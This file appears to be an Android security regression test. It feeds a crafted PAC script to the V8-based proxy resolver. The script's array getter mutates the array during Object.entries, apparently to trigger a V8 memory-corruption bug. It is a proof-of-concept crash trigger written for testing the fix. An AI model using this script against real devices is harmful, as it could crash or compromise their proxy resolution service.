/*
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <sys/types.h>
#include <sys/wait.h>
#include <memory>
#include <proxy_resolver_v8_wrapper.h>
#define URL u""
#define HOST u""
#define SCRIPT \
u"function FindProxyForURL(url, host){\n" \
" alert(\"enter\");\n" \
" let arr = [];\n" \
" arr[1000] = 0x1234;\n" \
"\n" \
" arr.__defineGetter__(256, function () {\n" \
" delete arr[256];\n" \
" arr.unshift(1.1);\n" \
" arr.length = 0;\n" \
" });\n" \
"\n" \
" Object.entries(arr).toString();\n" \
" alert(JSON.stringify(entries));\n" \
"\n" \
" return 0;\n" \
"}\n"
int main(void) {
auto resolver = std::unique_ptr<ProxyResolverV8Handle, void(*)(ProxyResolverV8Handle*)>(
ProxyResolverV8Handle_new(), ProxyResolverV8Handle_delete);
ProxyResolverV8Handle_SetPacScript(resolver.get(), SCRIPT);
auto results = std::unique_ptr<char16_t, decltype(&free)>(ProxyResolverV8Handle_GetProxyForURL(
resolver.get(), URL, HOST), &free);
return 0;
}